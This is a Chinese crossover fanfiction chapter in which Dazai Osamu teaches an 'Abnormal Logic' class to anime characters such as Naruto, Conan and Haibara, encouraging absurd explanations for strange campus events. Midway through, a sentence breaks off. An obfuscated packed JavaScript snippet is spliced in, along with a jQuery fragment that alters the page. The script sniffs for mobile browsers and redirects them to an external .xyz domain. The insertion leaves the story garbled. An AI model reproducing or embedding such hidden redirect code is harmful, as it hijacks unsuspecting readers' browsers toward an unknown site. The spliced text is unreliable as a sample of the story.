空镜学园的课程表上，悄然多出了一门神秘的选修课——《异常逻辑学》。
授课教师：太宰治。
课程简介：“理解荒谬，方能驾驭荒谬，或至少……避免被它彻底逼疯。”十分……令人费解。
选课的学生大多出于强烈的好奇心，或是被太宰治那神秘莫测的名声所吸引。
消息来源五花八门，其中一个源头，是咒术实践课的学生，据他们所说，这家伙居然能和五条悟抗衡，那就等于也是天花板级别了，一传十十传百，越传越神乎其神。
而当他们第一次走进指定的教室时，就意识到。这堂课绝非寻常。
教室被重新布置过，桌椅随意堆在角落，中央空出的地板上，铺着一块巨大的白色帆布，上面泼洒着各种颜色的颜料，构成一幅抽象而混乱的“地图”。
墙上贴满了各种看似无关的图片：破碎的镜子、拥挤的地铁车厢、腐烂水果的特写、复杂的数学公式、微笑的蒙娜丽莎……它们被用红色线段随意连接，形成一个令人头晕目眩的巨大思维网。
太宰治本人，则慵懒地斜靠在窗台上，望着窗外，好像学生的到来，与他豪无关系似的。
这种无所谓的态度，也和五条悟有的一拼。
阳光照在他缠着绷带的脖颈上，显得格外刺眼。
待到学生们开始窃窃私语，他终于转过身，脸上挂着似笑非笑表情，举起手摆了摆，算是招呼。
“嗯……看来迷途的羔羊，比预期的要多呢。”
“太宰老师好。”学生们带着困惑和好奇入座。
“欢迎来到《异常逻辑学》的首次课程。我是你们的老师，太宰治。请注意，本课程不传授标准的正确答案，只提供观察错误的方法。能否保持san值，概不负责。”
“你们可以把这门课，看作认知的屠宰场，或者……游乐场，具体情况，取决于你们的承受能力。”
底下的学生们反应各异。
漩涡鸣人一脸兴奋：“哦哦！听起来超厉害的样子！异常逻辑？是像影分身一样厉害的术吗？”
春野樱则皱着眉头，小声对旁边的同学说：“这老师真的靠谱吗？感觉比卡卡西老师还不着调……”
日向翔阳睁大了眼睛，努力想看清地上那幅“地图”的脉络：“哦哦！这是什么训练法吗？好厉害！看起来好复杂！”
影山飞雄黑着脸：“完全看不懂。白痴日向，你别吵。”
钉崎野蔷薇则优雅地甩了下头发，笑眯眯地说道：“哈，看来是位很有个性的老师呢……”
江户川柯南一脸审视地盯着太宰治，然后职业病发作，开始分析这个男人的背景和目的。
灰原哀则双手抱胸，冷淡地站在角落，仿佛置身事外，但眼神里却透着探究。
太宰治踱步到教室中央：“那么，我们开始今天的主题……”
他用脚尖随意点了点地上的一块蓝色污渍：“当世界开始不讲道理：如何与荒诞共处，并保持微笑。”
他停顿少许，补充道：“……或至少不哭出声。”
“最近，学园里发生了很多有趣的事情，不是吗？”太宰治声音轻柔，讲述睡前故事似的，“篮球执意要跳华尔兹，打印机呕出诗歌，甚至有人坚信，味增汤里藏着真理……”
学生们纷纷点头，这些怪事，他们或多或少，都亲历过、见识过或者听说了。
“通常，你们会怎么做？纠正它？对抗它？像对待错误程序一样试图删除它？”
太宰治笑了笑，“但有时候，最有效的办法，不是对抗，而是……理解并融入它的逻辑。预习混乱，或许是在秩序崩塌时，保持清醒的唯一方式。”
“在 Titanic 上，争论甲板椅的摆放是徒劳的，学会游泳，才是正经事。”
学生们若有所思。
太宰治环视了一圈，继续讲道：“我们生活在一个依赖规则和逻辑的世界里，对吗？法律、物理定律、社会规范……这些东西，构成了我们认知的牢笼，让我们感到安全。”
大部分学生点头。
“但牢笼之所以是牢笼，就是因为它既能保护你，也能困住你。同时……你们有没有想过，”太宰治话锋一转，“这些规则，也可能像玻璃一样易碎？当玻璃出现第一道裂缝时，你是会试图用胶带粘住它，还是……学会在布满裂纹的世界里视物？”
“有时候，裂缝里透出的光，比完整的玻璃更刺眼，也更真实。”
他看向柯南：“这位小朋友，假设你正在调查一起案件，所有证据，都完美指向A，但你的直觉告诉你，真相是B。而你的直觉，来源于凶手不小心打翻了一杯水，而水面倒影的角度，与监控录像有毫米级的偏差。你会怎么做？”
柯南下意识地回答：“当然要重新勘验现场。毫米级的偏差，可能就是关键！”
“看，这就是常规逻辑。”太宰治点点头，随即又问，“但如果时间紧迫，没有机会重新勘验呢？如果所有合理的调查手段，都已用尽呢？你是否敢基于那微不足道的、不合理的直觉，去指认凶手？”
柯南皱紧眉头，陷入沉思。
太宰治又转向鸣人：“如果你的影分身之术，某个分身突然有了自己的想法，拒绝服从命令，甚至开始和你辩论人生的意义，你会怎么办？”
鸣人挠头：“啊？那肯定是术式出问题了！得赶紧解除啊！”
“为什么一定是‘问题’呢？”太宰治引导着，“为什么不能是一种进化？或许这个分身，看到了你所忽略的真相？或许服从命令本身，就是最大的异常？”
鸣人张大了嘴，CPU似乎开始过载。
“这门课的目的，不是教你们发疯，”太宰治走回讲台边缘，语气变得稍微认真了一点，“而是让你们意识到，我们所依赖的逻辑，只是众多可能性中的一种。我们所依赖的‘正确’，可能只是多数人的偏见。当这种可能性，这种偏见失效时，你是否具备切换到另一种模式的能力？”
“真正的智慧，也许不在于坚守一种真理，而在于……有能力在不同的真理之间穿梭。”
他举例道：“比如，如果音乐室的钢琴，总是在午夜，响起同一段肖邦的夜曲。常规处理，是安装监控、捉鬼。而异常逻辑则会想——这段曲子，是不是某种密码？或者，它其实是在为某个特定的听众演奏？甚至有可能想到——这是不是某个被困在时间里的人，最后的求救信号？然后，再去推导背后的真相……”
“再比如，”他循循善诱，“如果你发现，学校食堂里，那台挺受欢迎的自动贩卖机，总是在周三下午三点准时售罄，分秒不差。常规逻辑会告诉你：那是因为周三下午体育课多，大家渴了。”
他停顿了一下，目光扫过学生们表示认同的脸：
“但异常逻辑会引导你思考：为什么一定是‘需求’导致的呢？为什么不能是机器本身，在每周三的这个时间点，恰好进入一个短暂的，‘认为自己已售空’的故障状态？或者，有没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484496|185673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有可能，是某个孤独但拥有精准作息的人，出于某种我们无法理解的私人仪式感，每周此时必来购买，定向采购，同时对机器说‘你好’？”
“甚至，”他嘴角勾起一抹笑意，“会不会是机器在默默执行一项我们不知道的——‘周三下午三点清空库存’的隐藏指令？而它的设计者，或许只是个对‘三’这个数字有执念的怪才？”
太宰治摊开手：“看，当我们跳出‘需求决定供应’这个最直接的因果链，世界是不是瞬间就多了许多奇怪但有趣的可能性？调查方向也会从此不同：你可能会去检查机器的日志程序，而不是只会盯着排队的学生。怀疑对象从人变成了机器，整个世界就开阔了。”
灰原哀淡淡开口：“这听起来，像是在鼓励非理性思考。”
太宰治看向她，微笑道：“不，是在训练思维的弹性。是在训练你学会怀疑——怀疑‘正确’，怀疑‘常识’，怀疑你自己。理性很重要，但当理性走到尽头时，你是选择撞墙，还是尝试找一扇看不见的门？很多时候，那扇门，就藏在看似荒谬的假设背后。”
“可以说，非理性是理性的备用轮胎，平时用不上，但爆胎时，也行能救你的命。”
接着，他让学生进行小组练习：随机抽取两张墙上的图片，强行建立它们之间的“合理”联系，并说服其他组员。
于是，教室里出现了各种诡异的推论：
一组学生试图论证“腐烂的苹果核与地铁拥挤之间存在必然联系”。
另一组在讨论“蒙娜丽莎的微笑其实是某个数学公式的具体表现”。
鸣人那一组，则成功地将“破碎的镜子”和“影分身之术”联系起来，理由是：“分身就像镜中破碎的自我，你以为你在控制它，其实是它在看着你。”
课堂气氛变得活跃而诡异。
太宰治穿梭其间，用轻飘飘的话语点燃更疯狂的想法：
“为什么不能是这样呢？”
“证据？有时候，最大的证据就是‘没有证据能反驳’。”
“所谓逻辑自洽，那只是你当前逻辑体系的自洽罢了。换一套体系，它可能漏洞百出。”
课程结束时，太宰治布置了作业： “本周的实践作业是——观察校园内，任何一个你认为理所当然的现象或规则，然后为它构思至少三种截然不同的、看似荒谬的解释或运作方式。写成报告，越有创意越好。记住，目的是打破思维定式，不是写科幻小说。”
学生们带着恍惚、困惑离开了教室，同时感觉到了一丝……被强行撬开脑壳的兴奋感。
柯南眉头紧锁，觉得这门课，在动摇他推理的根基。
灰原哀则若有所思，似乎想到了某些科研中的困境。
鸣人兴奋地表示，要重新思考“影分身的人格权利问题”。
春野樱则担忧地觉得，自己的世界观需要加固。
太宰治则依旧懒洋洋地坐在窗台上，看着学生们离开的背影，嘴角噙着笑意，若有若无。
“在暴风雨来临前，教会他们如何制作简陋的雨伞……也不知道，是仁慈还是残忍。”他低声自语道，“不过，总比……让他们毫无准备地被淋透，要好一点吧？”
他的课程，像一颗被小心埋下的种子，在平静的土壤下悄然抽芽。
何时会破土而出，无人知晓。
但它已在他们心里，唤醒了对"正常"的警觉。
至少，他让一些人，提前听到了那滴答作响的细微声音。